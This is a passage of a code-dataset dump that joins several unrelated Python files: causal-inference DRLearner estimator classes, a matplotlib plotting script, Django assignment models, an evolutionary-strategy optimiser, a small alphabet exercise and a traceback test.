-0.102543..., -0.663246...]), array([0.698803..., 0.727753..., 0.408458...]))\n >>> est.coef_(T=1)\n array([ 0.450779..., -0.003214... , 0.063884... ])\n >>> est.coef__interval(T=1)\n (array([ 0.202646..., -0.207195..., -0.104558...]), array([0.698911..., 0.200767..., 0.232326...]))\n >>> est.intercept_(T=1)\n 0.88425066...\n >>> est.intercept__interval(T=1)\n (0.68655813..., 1.08194320...)\n\n Attributes\n ----------\n score_ : float\n The MSE in the final doubly robust potential outcome regressions, i.e.\n\n .. math::\n \\\\frac{1}{n_t} \\\\sum_{t=1}^{n_t} \\\\frac{1}{n} \\\\sum_{i=1}^n (Y_{i, t}^{DR} - \\\\hat{\\\\theta}_t(X_i))^2\n\n where n_t is the number of treatments (excluding control).\n\n If `sample_weight` is not None at fit time, then a weighted average across samples is returned.\n\n \"\"\"\n\n def __init__(self,\n model_propensity='auto',\n model_regression='auto',\n featurizer=None,\n fit_cate_intercept=True,\n min_propensity=1e-6,\n categories='auto',\n n_splits=2, random_state=None):\n self.fit_cate_intercept = fit_cate_intercept\n super().__init__(model_propensity=model_propensity,\n model_regression=model_regression,\n model_final=StatsModelsLinearRegression(fit_intercept=fit_cate_intercept),\n featurizer=featurizer,\n multitask_model_final=False,\n min_propensity=min_propensity,\n categories=categories,\n n_splits=n_splits,\n random_state=random_state)\n\n @_deprecate_positional(\"X and W should be passed by keyword only. In a future release \"\n \"we will disallow passing X and W by position.\", ['X', 'W'])\n def fit(self, Y, T, X=None, W=None, *, sample_weight=None, sample_var=None, groups=None, inference='auto'):\n \"\"\"\n Estimate the counterfactual model from data, i.e. estimates function :math:`\\\\theta(\\\\cdot)`.\n\n Parameters\n ----------\n Y: (n,) vector of length n\n Outcomes for each sample\n T: (n,) vector of length n\n Treatments for each sample\n X: optional(n, d_x) matrix or None (Default=None)\n Features for each sample\n W: optional(n, d_w) matrix or None (Default=None)\n Controls for each sample\n sample_weight: optional(n,) vector or None (Default=None)\n Weights for each samples\n sample_var: optional(n,) vector or None (Default=None)\n Sample variance for each sample\n groups: (n,) vector, optional\n All rows corresponding to the same group will be kept together during splitting.\n If groups is not None, the n_splits argument passed to this class's initializer\n must support a 'groups' argument to its split method.\n inference: string, :class:`.Inference` instance, or None\n Method for performing inference. This estimator supports ``'bootstrap'``\n (or an instance of :class:`.BootstrapInference`) and ``'statsmodels'``\n (or an instance of :class:`.StatsModelsInferenceDiscrete`).\n\n Returns\n -------\n self: DRLearner instance\n \"\"\"\n # Replacing fit from DRLearner, to add statsmodels inference in docstring\n return super().fit(Y, T, X=X, W=W,\n sample_weight=sample_weight, sample_var=sample_var, groups=groups,\n inference=inference)\n\n @property\n def multitask_model_cate(self):\n # Replacing this method which is invalid for this class, so that we make the\n # dosctring empty and not appear in the docs.\n return super().multitask_model_cate\n\n @property\n def model_final(self):\n return super().model_final._model_final\n\n @property\n def fitted_models_final(self):\n return super().model_final.models_cate\n\n\nclass SparseLinearDRLearner(DebiasedLassoCateEstimatorDiscreteMixin, DRLearner):\n \"\"\"\n Special case of the :class:`.DRLearner` where the final stage\n is a Debiased Lasso Regression. In this case, inference can be performed via the debiased lasso approach\n and its asymptotic normal characterization of the estimated parameters. This is computationally\n faster than bootstrap inference. Leave the default ``inference='auto'`` unchanged, or explicitly set\n ``inference='debiasedlasso'`` at fit time to enable inference via asymptotic normality.\n\n More concretely, this estimator assumes that the final cate model for each treatment takes a linear form:\n\n .. math ::\n \\\\theta_t(X) = \\\\left\\\\langle \\\\theta_t, \\\\phi(X) \\\\right\\\\rangle + \\\\beta_t\n\n where :math:`\\\\phi(X)` is the outcome features of the featurizers, or `X` if featurizer is None. :math:`\\\\beta_t`\n is a an intercept of the CATE, which is included if ``fit_cate_intercept=True`` (Default). It fits this by\n running a debiased lasso regression (i.e. :math:`\\\\ell_1`-penalized regression with debiasing),\n regressing the doubly robust outcome differences on X: i.e. first solves the penalized square loss problem\n\n .. math ::\n \\\\min_{\\\\theta_t, \\\\beta_t}\\\n E_n\\\\left[\\\\left(Y_{i, t}^{DR} - Y_{i, 0}^{DR}\\\n - \\\\left\\\\langle \\\\theta_t, \\\\phi(X_i) \\\\right\\\\rangle - \\\\beta_t\\\\right)^2\\\\right]\\\n + \\\\lambda \\\\left\\\\lVert \\\\theta_t \\\\right\\\\rVert_1\n\n and then adds a debiasing correction to the solution. If alpha='auto' (recommended), then the penalty\n weight :math:`\\\\lambda` is set optimally via cross-validation.\n\n This approach is valid even if the CATE model is not linear in :math:`\\\\phi(X)`. In this case it performs\n inference on the best sparse linear approximation of the CATE model.\n\n Parameters\n ----------\n model_propensity : scikit-learn classifier or 'auto', optional (default='auto')\n Estimator for Pr[T=t | X, W]. Trained by regressing treatments on (features, controls) concatenated.\n Must implement `fit` and `predict_proba` methods. The `fit` method must be able to accept X and T,\n where T is a shape (n, ) array.\n If 'auto', :class:`~sklearn.linear_model.LogisticRegressionCV` will be chosen.\n\n model_regression : scikit-learn regressor or 'auto', optional (default='auto')\n Estimator for E[Y | X, W, T]. Trained by regressing Y on (features, controls, one-hot-encoded treatments)\n concatenated. The one-hot-encoding excludes the baseline treatment. Must implement `fit` and\n `predict` methods. If different models per treatment arm are desired, see the\n :class:`.MultiModelWrapper` helper class.\n If 'auto' :class:`.WeightedLassoCV`/:class:`.WeightedMultiTaskLassoCV` will be chosen.\n\n featurizer : :term:`transformer`, optional, default None\n Must support fit_transform and transform. Used to create composite features in the final CATE regression.\n It is ignored if X is None. The final CATE will be trained on the outcome of featurizer.fit_transform(X).\n If featurizer=None, then CATE is trained on X.\n\n fit_cate_intercept : bool, optional, default True\n Whether the linear CATE model should have a constant term.\n\n alpha: string | float, optional., default 'auto'.\n CATE L1 regularization applied through the debiased lasso in the final model.\n 'auto' corresponds to a CV form of the :class:`DebiasedLasso`.\n\n max_iter : int, optional, default 1000\n The maximum number of iterations in the Debiased Lasso\n\n tol : float, optional, default 1e-4\n The tolerance for the optimization: if the updates are\n smaller than ``tol``, the optimization code checks the\n dual gap for optimality and continues until it is smaller\n than ``tol``.\n\n min_propensity : float, optional, default ``1e-6``\n The minimum propensity at which to clip propensity estimates to avoid dividing by zero.\n\n categories: 'auto' or list, default 'auto'\n The categories to use when encoding discrete treatments (or 'auto' to use the unique sorted values).\n The first category will be treated as the control treatment.\n\n n_splits: int, cross-validation generator or an iterable, optional, default 2\n Determines the cross-validation splitting strategy.\n Possible inputs for cv are:\n\n - None, to use the default 3-fold cross-validation,\n - integer, to specify the number of folds.\n - :term:`cv splitter`\n - An iterable yielding (train, test) splits as arrays of indices.\n\n For integer/None inputs, if the treatment is discrete\n :class:`~sklearn.model_selection.StratifiedKFold` is used, else,\n :class:`~sklearn.model_selection.KFold` is used\n (with a random shuffle in either case).\n\n Unless an iterable is used, we call `split(X,T)` to generate the splits.\n\n random_state: int, :class:`~numpy.random.mtrand.RandomState` instance or None\n If int, random_state is the seed used by the random number generator;\n If :class:`~numpy.random.mtrand.RandomState` instance, random_state is the random number generator;\n If None, the random number generator is the :class:`~numpy.random.mtrand.RandomState` instance used\n by :mod:`np.random`.\n\n Examples\n --------\n A simple example with the default models:\n\n .. testcode::\n\n import numpy as np\n import scipy.special\n from econml.drlearner import DRLearner, SparseLinearDRLearner\n\n np.random.seed(123)\n X = np.random.normal(size=(1000, 3))\n T = np.random.binomial(2, scipy.special.expit(X[:, 0]))\n y = (1 + .5*X[:, 0]) * T + X[:, 0] + np.random.normal(size=(1000,))\n est = SparseLinearDRLearner()\n est.fit(y, T, X=X, W=None)\n\n >>> est.effect(X[:3])\n array([ 0.418400..., 0.306400..., -0.130733...])\n >>> est.effect_interval(X[:3])\n (array([ 0.056783..., -0.206438..., -0.739296...]), array([0.780017..., 0.819239..., 0.477828...]))\n >>> est.coef_(T=1)\n array([0.449779..., 0.004807..., 0.061954...])\n >>> est.coef__interval(T=1)\n (array([ 0.242194... , -0.190825..., -0.139646...]), array([0.657365..., 0.200440..., 0.263556...]))\n >>> est.intercept_(T=1)\n 0.88436847...\n >>> est.intercept__interval(T=1)\n (0.68683788..., 1.08189907...)\n\n Attributes\n ----------\n score_ : float\n The MSE in the final doubly robust potential outcome regressions, i.e.\n\n .. math::\n \\\\frac{1}{n_t} \\\\sum_{t=1}^{n_t} \\\\frac{1}{n} \\\\sum_{i=1}^n (Y_{i, t}^{DR} - \\\\hat{\\\\theta}_t(X_i))^2\n\n where n_t is the number of treatments (excluding control).\n\n If `sample_weight` is not None at fit time, then a weighted average across samples is returned.\n\n \"\"\"\n\n def __init__(self,\n model_propensity='auto',\n model_regression='auto',\n featurizer=None,\n fit_cate_intercept=True,\n alpha='auto',\n max_iter=1000,\n tol=1e-4,\n min_propensity=1e-6,\n categories='auto',\n n_splits=2, random_state=None):\n self.fit_cate_intercept = fit_cate_intercept\n model_final = DebiasedLasso(\n alpha=alpha,\n fit_intercept=fit_cate_intercept,\n max_iter=max_iter,\n tol=tol)\n super().__init__(model_propensity=model_propensity,\n model_regression=model_regression,\n model_final=model_final,\n featurizer=featurizer,\n multitask_model_final=False,\n min_propensity=min_propensity,\n categories=categories,\n n_splits=n_splits,\n random_state=random_state)\n\n @_deprecate_positional(\"X and W should be passed by keyword only. In a future release \"\n \"we will disallow passing X and W by position.\", ['X', 'W'])\n def fit(self, Y, T, X=None, W=None, *, sample_weight=None, sample_var=None, groups=None, inference='auto'):\n \"\"\"\n Estimate the counterfactual model from data, i.e. estimates function :math:`\\\\theta(\\\\cdot)`.\n\n Parameters\n ----------\n Y: (n,) vector of length n\n Outcomes for each sample\n T: (n,) vector of length n\n Treatments for each sample\n X: optional(n, d_x) matrix or None (Default=None)\n Features for each sample\n W: optional(n, d_w) matrix or None (Default=None)\n Controls for each sample\n sample_weight: optional(n,) vector or None (Default=None)\n Weights for each samples\n sample_var: optional(n,) vector or None (Default=None)\n Sample variance for each sample\n groups: (n,) vector, optional\n All rows corresponding to the same group will be kept together during splitting.\n If groups is not None, the n_splits argument passed to this class's initializer\n must support a 'groups' argument to its split method.\n inference: string, :class:`.Inference` instance, or None\n Method for performing inference. This estimator supports ``'bootstrap'``\n (or an instance of :class:`.BootstrapInference`) and ``'debiasedlasso'``\n (or an instance of :class:`.LinearModelInferenceDiscrete`).\n\n Returns\n -------\n self: DRLearner instance\n \"\"\"\n # Replacing fit from DRLearner, to add debiasedlasso inference in docstring\n # TODO: support sample_var\n if sample_weight is not None and inference is not None:\n warn(\"This estimator does not yet support sample variances and inference does not take \"\n \"sample variances into account. This feature will be supported in a future release.\")\n Y, T, X, W, sample_weight, sample_var = check_input_arrays(Y, T, X, W, sample_weight, sample_var)\n check_high_dimensional(X, T, threshold=5, featurizer=self.featurizer,\n discrete_treatment=self._discrete_treatment,\n msg=\"The number of features in the final model (< 5) is too small for a sparse model. \"\n \"We recommend using the LinearDRLearner for this low-dimensional setting.\")\n return super().fit(Y, T, X=X, W=W,\n sample_weight=sample_weight, sample_var=None, groups=groups,\n inference=inference)\n\n @property\n def multitask_model_cate(self):\n # Replacing this method which is invalid for this class, so that we make the\n # dosctring empty and not appear in the docs.\n return super().multitask_model_cate\n\n @property\n def model_final(self):\n return super().model_final._model_final\n\n @property\n def fitted_models_final(self):\n return super().model_final.models_cate\n\n\nclass ForestDRLearner(ForestModelFinalCateEstimatorDiscreteMixin, DRLearner):\n \"\"\" Instance of DRLearner with a :class:`~econml.sklearn_extensions.ensemble.SubsampledHonestForest`\n as a final model, so as to enable non-parametric inference.\n\n Parameters\n ----------\n model_propensity : scikit-learn classifier\n Estimator for Pr[T=t | X, W]. Trained by regressing treatments on (features, controls) concatenated.\n Must implement `fit` and `predict_proba` methods. The `fit` method must be able to accept X and T,\n where T is a shape (n, ) array.\n\n model_regression : scikit-learn regressor\n Estimator for E[Y | X, W, T]. Trained by regressing Y on (features, controls, one-hot-encoded treatments)\n concatenated. The one-hot-encoding excludes the baseline treatment. Must implement `fit` and\n `predict` methods. If different models per treatment arm are desired, see the\n :class:`~econml.utilities.MultiModelWrapper` helper class.\n\n min_propensity : float, optional, default ``1e-6``\n The minimum propensity at which to clip propensity estimates to avoid dividing by zero.\n\n categories: 'auto' or list, default 'auto'\n The categories to use when encoding discrete treatments (or 'auto' to use the unique sorted values).\n The first category will be treated as the control treatment.\n\n n_crossfit_splits: int, cross-validation generator or an iterable, optional (Default=2)\n Determines the cross-validation splitting strategy.\n Possible inputs for cv are:\n\n - None, to use the default 3-fold cross-validation,\n - integer, to specify the number of folds.\n - :term:`cv splitter`\n - An iterable yielding (train, test) splits as arrays of indices.\n\n For integer/None inputs, if the treatment is discrete\n :class:`~sklearn.model_selection.StratifiedKFold` is used, else,\n :class:`~sklearn.model_selection.KFold` is used\n (with a random shuffle in either case).\n\n Unless an iterable is used, we call `split(concat[W, X], T)` to generate the splits. If all\n W, X are None, then we call `split(ones((T.shape[0], 1)), T)`.\n\n n_estimators : integer, optional (default=100)\n The total number of trees in the forest. The forest consists of a\n forest of sqrt(n_estimators) sub-forests, where each sub-forest\n contains sqrt(n_estimators) trees.\n\n criterion : string, optional (default=\"mse\")\n The function to measure the quality of a split. Supported criteria\n are \"mse\" for the mean squared error, which is equal to variance\n reduction as feature selection criterion, and \"mae\" for the mean\n absolute error.\n\n max_depth : integer or None, optional (default=None)\n The maximum depth of the tree. If None, then nodes are expanded until\n all leaves are pure or until all leaves contain less than\n min_samples_split samples.\n\n min_samples_split : int, float, optional (default=2)\n The minimum number of splitting samples required to split an internal node.\n\n - If int, then consider `min_samples_split` as the minimum number.\n - If float, then `min_samples_split` is a fraction and\n `ceil(min_samples_split * n_samples)` are the minimum\n number of samples for each split.\n\n min_samples_leaf : int, float, optional (default=1)\n The minimum number of samples required to be at a leaf node.\n A split point at any depth will only be considered if it leaves at\n least ``min_samples_leaf`` splitting samples in each of the left and\n right branches. This may have the effect of smoothing the model,\n especially in regression. After construction the tree is also pruned\n so that there are at least min_samples_leaf estimation samples on\n each leaf.\n\n - If int, then consider `min_samples_leaf` as the minimum number.\n - If float, then `min_samples_leaf` is a fraction and\n `ceil(min_samples_leaf * n_samples)` are the minimum\n number of samples for each node.\n\n min_weight_fraction_leaf : float, optional (default=0.)\n The minimum weighted fraction of the sum total of weights (of all\n splitting samples) required to be at a leaf node. Samples have\n equal weight when sample_weight is not provided. After construction\n the tree is pruned so that the fraction of the sum total weight\n of the estimation samples contained in each leaf node is at\n least min_weight_fraction_leaf\n\n max_features : int, float, string or None, optional (default=\"auto\")\n The number of features to consider when looking for the best split:\n\n - If int, then consider `max_features` features at each split.\n - If float, then `max_features` is a fraction and\n `int(max_features * n_features)` features are considered at each\n split.\n - If \"auto\", then `max_features=n_features`.\n - If \"sqrt\", then `max_features=sqrt(n_features)`.\n - If \"log2\", then `max_features=log2(n_features)`.\n - If None, then `max_features=n_features`.\n\n Note: the search for a split does not stop until at least one\n valid partition of the node samples is found, even if it requires to\n effectively inspect more than ``max_features`` features.\n\n max_leaf_nodes : int or None, optional (default=None)\n Grow trees with ``max_leaf_nodes`` in best-first fashion.\n Best nodes are defined as relative reduction in impurity.\n If None then unlimited number of leaf nodes.\n\n min_impurity_decrease : float, optional (default=0.)\n A node will be split if this split induces a decrease of the impurity\n greater than or equal to this value.\n\n The weighted impurity decrease equation is the following::\n\n N_t / N * (impurity - N_t_R / N_t * right_impurity\n - N_t_L / N_t * left_impurity)\n\n where ``N`` is the total number of split samples, ``N_t`` is the number of\n split samples at the current node, ``N_t_L`` is the number of split samples in the\n left child, and ``N_t_R`` is the number of split samples in the right child.\n\n ``N``, ``N_t``, ``N_t_R`` and ``N_t_L`` all refer to the weighted sum,\n if ``sample_weight`` is passed.\n\n subsample_fr : float or 'auto', optional (default='auto')\n The fraction of the half-samples that are used on each tree. Each tree\n will be built on subsample_fr * n_samples/2.\n\n If 'auto', then the subsampling fraction is set to::\n\n (n_samples/2)**(1-1/(2*n_features+2))/(n_samples/2)\n\n which is sufficient to guarantee asympotitcally valid inference.\n\n honest : boolean, optional (default=True)\n Whether to use honest trees, i.e. half of the samples are used for\n creating the tree structure and the other half for the estimation at\n the leafs. If False, then all samples are used for both parts.\n\n n_jobs : int or None, optional (default=None)\n The number of jobs to run in parallel for both `fit` and `predict`.\n ``None`` means 1 unless in a :func:`joblib.parallel_backend` context.\n ``-1`` means using all processors. See :term:`Glossary `\n for more details.\n\n verbose : int, optional (default=0)\n Controls the verbosity when fitting and predicting.\n\n random_state: int, :class:`~numpy.random.mtrand.RandomState` instance or None, optional (default=None)\n If int, random_state is the seed used by the random number generator;\n If :class:`~numpy.random.mtrand.RandomState` instance, random_state is the random number generator;\n If None, the random number generator is the :class:`~numpy.random.mtrand.RandomState` instance used\n by :mod:`np.random`.\n \"\"\"\n\n def __init__(self,\n model_regression, model_propensity,\n min_propensity=1e-6,\n categories='auto',\n n_crossfit_splits=2,\n n_estimators=1000,\n criterion=\"mse\",\n max_depth=None,\n min_samples_split=5,\n min_samples_leaf=5,\n min_weight_fraction_leaf=0.,\n max_features=\"auto\",\n max_leaf_nodes=None,\n min_impurity_decrease=0.,\n subsample_fr='auto',\n honest=True,\n n_jobs=None,\n verbose=0,\n random_state=None):\n model_final = SubsampledHonestForest(n_estimators=n_estimators,\n criterion=criterion,\n max_depth=max_depth,\n min_samples_split=min_samples_split,\n min_samples_leaf=min_samples_leaf,\n min_weight_fraction_leaf=min_weight_fraction_leaf,\n max_features=max_features,\n max_leaf_nodes=max_leaf_nodes,\n min_impurity_decrease=min_impurity_decrease,\n subsample_fr=subsample_fr,\n honest=honest,\n n_jobs=n_jobs,\n random_state=random_state,\n verbose=verbose)\n super().__init__(model_regression=model_regression, model_propensity=model_propensity,\n model_final=model_final, featurizer=None,\n multitask_model_final=False,\n min_propensity=min_propensity,\n categories=categories,\n n_splits=n_crossfit_splits, random_state=random_state)\n\n @_deprecate_positional(\"X and W should be passed by keyword only. In a future release \"\n \"we will disallow passing X and W by position.\", ['X', 'W'])\n def fit(self, Y, T, X=None, W=None, *, sample_weight=None, sample_var=None, groups=None, inference='auto'):\n \"\"\"\n Estimate the counterfactual model from data, i.e. estimates functions τ(·,·,·), ∂τ(·,·).\n\n Parameters\n ----------\n Y: (n × d_y) matrix or vector of length n\n Outcomes for each sample\n T: (n × dₜ) matrix or vector of length n\n Treatments for each sample\n X: optional (n × dₓ) matrix\n Features for each sample\n W: optional (n × d_w) matrix\n Controls for each sample\n sample_weight: optional (n,) vector\n Weights for each row\n sample_var: optional (n, n_y) vector\n Variance of sample, in case it corresponds to summary of many samples. Currently\n not in use by this method (as inference method does not require sample variance info).\n groups: (n,) vector, optional\n All rows corresponding to the same group will be kept together during splitting.\n If groups is not None, the n_splits argument passed to this class's initializer\n must support a 'groups' argument to its split method.\n inference: string, `Inference` instance, or None\n Method for performing inference. This estimator supports 'bootstrap'\n (or an instance of :class:`.BootstrapInference`) and 'blb'\n (for Bootstrap-of-Little-Bags based inference)\n\n Returns\n -------\n self\n \"\"\"\n return super().fit(Y, T, X=X, W=W,\n sample_weight=sample_weight, sample_var=None, groups=groups,\n inference=inference)\n\n def multitask_model_cate(self):\n # Replacing to remove docstring\n super().multitask_model_cate()\n\n @property\n def model_final(self):\n return super().model_final._model_final\n\n @property\n def fitted_models_final(self):\n return super().model_final.models_cate\n","sub_path":"econml/drlearner.py","file_name":"drlearner.py","file_ext":"py","file_size_in_byte":59356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"330191582","text":"import sys\nimport matplotlib.pyplot as plt\nimport matplotlib\n\nsys.stdin.reconfigure(encoding='utf-8-sig')\ncolors = ['lawngreen', 'g', 'teal', 'cyan', 'deepskyblue', 'dodgerblue', 'navy', 'indigo', 'violet', 'm', 'b']\nmatplotlib.use('gtk3agg')\n\nfor line in sys.stdin:\n if line[0] != '@':\n print(line, end='')\n elif line[1] == 'W':\n n, *coord = line[2:].split()\n n, (x, y) = int(n), map(float, coord)\n\n if n == -1:\n plt.plot(x, y, marker='.', mfc='black', mew=0, alpha=0.5, label=n)\n else:\n plt.plot(x, y, marker='.', mfc=colors[n % 11], mew=0, alpha=0.5, label=n)\n \n elif line[1] == 'E':\n n, *coord = line[2:].split()\n n, (x1, y1, x2, y2) = int(n), map(float, coord)\n dx, dy = x2-x1, y2-y1\n \n plt.plot(x1, y1, 'yo', alpha=0.5)\n plt.plot(x2, y2, 'yo', alpha=0.5)\n plt.arrow(x1, y1, dx, dy, length_includes_head=True, width=0.1, fc='black', \n shape='left', label='1', alpha=0.2, ec=None)\n plt.annotate(n, (x1 + dx/2, y1 + dy/2), c='red')\n\nplt.show()\n","sub_path":"COMP20003 A1 code/visualisation.py","file_name":"visualisation.py","file_ext":"py","file_size_in_byte":1093,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"37676878","text":"from django.db import models\nfrom target_object_database.models import TargetObject\nfrom hx_lti_initializer.models import LTICourse\nimport uuid\n\n\nclass AssignmentTargets(models.Model):\n assignment = models.ForeignKey(\n \"Assignment\",\n verbose_name='Assignment',\n )\n target_object = models.ForeignKey(\n TargetObject,\n verbose_name='Source Material',\n unique=False,\n )\n order = models.IntegerField(\n verbose_name='Order',\n )\n target_external_css = models.CharField(\n max_length=255,\n blank=True,\n help_text='Only input a URL to an externally hosted CSS file.'\n )\n target_instructions = models.TextField(\n blank=True,\n null=True,\n help_text='Add instructions for this object in this assignment.'\n )\n target_external_options = models.TextField(\n blank=True,\n null=True,\n )\n\n class Meta:\n verbose_name = \"Assignment Target\"\n verbose_name_plural = \"Assignment Targets\"\n ordering = [\n 'order',\n ]\n\n def get_target_external_options_list(self):\n \"\"\"\n Returns a list of options that are saved to the target_external_options model attribute\n in CSV format.\n \n Notes:\n - since the model attribute could be null in the database, we have to\n check if it's None before trying parse it.\n - this field does not contain user-supplied values, so we don't need industrial-strength\n CSV parsing.\n \"\"\"\n if self.target_external_options is None:\n return []\n return self.target_external_options.split(',') \n\n def get_view_type_for_mirador(self):\n \"\"\"\n \"\"\"\n options = self.get_target_external_options_list()\n if len(options) == 1:\n return \"ImageView\"\n else:\n return options[0] if options[0] != '' else \"ImageView\"\n\n def get_canvas_id_for_mirador(self):\n \"\"\"\n \"\"\"\n options = self.get_target_external_options_list()\n if len(options) == 1:\n return None\n else:\n return options[1] if options[1] != '' else None\n\n def get_dashboard_hidden(self):\n \"\"\"\n \"\"\"\n options = self.get_target_external_options_list()\n if len(options) < 3:\n return \"false\"\n else:\n return options[2] if options[2] != '' else \"false\"\n\n def get_transcript_hidden(self):\n \"\"\"\n \"\"\"\n options = self.get_target_external_options_list()\n if len(options) < 4:\n return \"false\"\n else:\n return options[3] if options[3] != '' else \"false\"\n\n def get_transcript_download(self):\n \"\"\"\n \"\"\"\n options = self.get_target_external_options_list()\n if len(options) < 5:\n return \"false\"\n else:\n return options[4] if options[4] != '' else \"false\"\n\n def get_video_download(self):\n \"\"\"\n \"\"\"\n options = self.get_target_external_options_list()\n if len(options) < 6:\n return \"false\"\n else:\n return options[5] if options[5] != '' else \"false\"\n\n\nclass Assignment(models.Model):\n \"\"\"\n This object will contain the objects and settings for the annotation tool\n \"\"\"\n\n assignment_id = models.CharField(\n max_length=100,\n blank=True,\n unique=True,\n default=uuid.uuid4\n )\n assignment_name = models.CharField(\n max_length=255,\n blank=False,\n default=\"No Assignment Name Given\"\n )\n assignment_objects = models.ManyToManyField(\n TargetObject,\n through=\"AssignmentTargets\"\n )\n annotation_database_url = models.CharField(max_length=255)\n annotation_database_apikey = models.CharField(max_length=255)\n annotation_database_secret_token = models.CharField(max_length=255)\n include_instructor_tab = models.BooleanField(\n help_text=\"Include a tab for instructor annotations.\",\n default=False\n )\n include_mynotes_tab = models.BooleanField(\n help_text=\"Include a tab for user's annotations. Warning: Turning this off will not allow students to make annotations.\",\n default=True\n )\n include_public_tab = models.BooleanField(\n help_text=\"Include a tab for public annotations. Used for private annotations. If you want users to view each other's annotations.\",\n default=True\n )\n allow_highlights = models.BooleanField(\n help_text=\"Allow predetermined tags with colors.\",\n default=False\n )\n highlights_options = models.CharField(\n max_length=255,\n blank=True\n )\n allow_touch = models.BooleanField(\n help_text=\"Allow touch devices to use tool (warning, experimental).\",\n default=False\n )\n pagination_limit = models.IntegerField(\n help_text=\"How many annotations should show up when you hit the 'More' button?\" # noqa\n )\n allow_flags = models.BooleanField(\n help_text=\"Allow users to flag items as inappropriate/offensive.\",\n default=False\n )\n\n TABS = (\n ('Instructor', 'Instructor'),\n ('MyNotes', 'My Notes'),\n ('Public', 'Public'),\n )\n\n default_tab = models.CharField(\n choices=TABS,\n default=\"Public\",\n max_length=20\n )\n course = models.ForeignKey(LTICourse)\n hidden = models.BooleanField(default=False)\n\n def __str__(self):\n return self.assignment_name\n\n def __unicode__(self):\n return u\"%s\" % self.assignment_name\n\n def object_before(self, id):\n if len(self.assignment_objects.all()) > 1:\n try:\n obj = TargetObject.objects.get(pk=id)\n assignment_target = AssignmentTargets.objects.get(\n assignment=self,\n target_object=obj\n )\n if assignment_target.order == 1:\n return None\n else:\n new_order = assignment_target.order-1\n return AssignmentTargets.objects.get(\n assignment=self,\n order=new_order\n )\n except:\n return None\n return None\n\n def object_after(self, id):\n if len(self.assignment_objects.all()) > 1:\n try:\n obj = TargetObject.objects.get(pk=id)\n assignment_target = AssignmentTargets.objects.get(\n assignment=self,\n target_object=obj\n )\n if assignment_target.order == len(self.assignment_objects.all()): # noqa\n return None\n else:\n new_order = assignment_target.order+1\n return AssignmentTargets.objects.get(\n assignment=self,\n order=new_order\n )\n except:\n return None\n return None\n","sub_path":"hx_lti_assignment/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":7026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"429746072","text":"'''\nmu, lambda\nCreated on 09/09/2014\n@author: azu\n'''\nfrom practices.first.evolutionaryStrategies.fitness import *\n\n\ndef initialize(number):\n return [[np.float(random.gauss(0, 100)) for i in range(number)] for u in range(mu)]\n\n\ndef mutate(variables, generation, numberOfVariables):\n return [[variables[i] + sigma[generation] * random.gauss(0, 1) for i in range(numberOfVariables)] for u in\n range(mu)]\n\n\ndef success(replacement, generation, numberOfVariables):\n ps = replacement / float(generation)\n if (generation % numberOfVariables == 0):\n if (ps > 1 / 5.0):\n return sigma[generation - numberOfVariables] * 0.817\n if (ps < 1 / 5.0):\n return sigma[generation - numberOfVariables] / 0.817\n if (ps == 1 / 5.0):\n return sigma[generation - numberOfVariables]\n else:\n return sigma[generation - 1]\n\n\ndef select(fitnessArray, mode):\n f = fitnessArray[:]\n f.sort()\n middleValue = f.pop(len(f) / 2)\n secondBestValue = f.pop(1)\n selected = {\n 'best': fitnessArray.index(min(fitnessArray)),\n '2nd': fitnessArray.index(secondBestValue),\n 'middle': fitnessArray.index(middleValue),\n 'worst': fitnessArray.index(max(fitnessArray))}\n return selected[mode]\n\n\ndef muCommaLambda(func):\n print(\"\\nES: u+1 \\tFunction: %s\" % (func))\n generation = 0\n replacement = 0\n ps = 0\n num = numberOfVariables[func]\n comparison = 1\n variables = initialize(num)\n fitnessArray = [function[func](variables[u]) for u in range(mu)]\n best = select(fitnessArray, 'best')\n while (generation < maxGenerations and sigma[generation] > epsilon and min(fitnessArray) > float('-inf')):\n best = select(fitnessArray, 'best')\n actualBest = fitnessArray[best]\n offspring = mutate(variables[best], generation, num)\n fitnessSon = [function[func](offspring[u]) for u in range(mu)]\n variables = offspring[:]\n fitnessArray = fitnessSon\n if (actualBest > min(fitnessArray)):\n replacement += 1\n comparison = abs(actualBest - min(fitnessArray))\n generation += 1\n if (generation < maxGenerations):\n sigma[generation] = success(replacement, generation, num)\n print(variables[best], fitnessArray[best], sigma[generation], generation, sigma[generation], comparison)\n #\n if (num > 1):\n print(imageMaker(number_of_variables=num, function_id=func, name=str(func) + \"_muCommaLamda\",\n point=([variables[best][0]], [variables[best][1]], [fitnessArray[best]])))\n else:\n print(imageMaker(number_of_variables=num, function_id=func, name=str(func) + \"_muCommaLamda\",\n point=(variables[best], [fitnessArray[best]])))\n return \"Vars: %s Fitness: %s Generations: %d\" % (variables[best], fitnessArray[best], generation)\n\n # muCommaLambda(0)","sub_path":"practices/first/evolutionaryStrategies/muCommaLambda.py","file_name":"muCommaLambda.py","file_ext":"py","file_size_in_byte":2904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"329595664","text":"# 5.\tПользователь вводит две буквы. Определить, на каких местах\n# алфавита они стоят, и сколько между ними находится букв.\n\nimport string\n\nalphabet = list(string.ascii_lowercase)\n\nfirst_letter = input(\"Type a first letter: \")\nsecond_letter = input(\"Type a second letter: \")\n\nif len(first_letter) == 1 and len(second_letter) == 1 \\\n and alphabet.count(first_letter) == 1 and alphabet.count(second_letter) == 1:\n print(f\"Position of the letter '{first_letter}' is {alphabet.index(first_letter) + 1}.\")\n print(f\"Position of the letter '{second_letter}' is {alphabet.index(second_letter) + 1}.\")\n\n if second_letter < first_letter:\n temp_value = first_letter\n first_letter = second_letter\n second_letter = temp_value\n\n print(f\"Letters between of them: {alphabet.index(second_letter) - alphabet.index(first_letter)}.\")\nelse:\n print(\"Invalid input!\")\n","sub_path":"Lesson_1/5.py","file_name":"5.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"249845828","text":"import friendly_traceback\n\n\ndef test_lookup_error():\n try:\n # LookupError is the base class for KeyError and IndexError.\n # It should normally not be raised by user code,\n # other than possibly codecs.lookup(), which is why we raise\n # it directly here for our example.\n raise LookupError\n except Exception:\n friendly_traceback.explain(redirect=\"capture\")\n 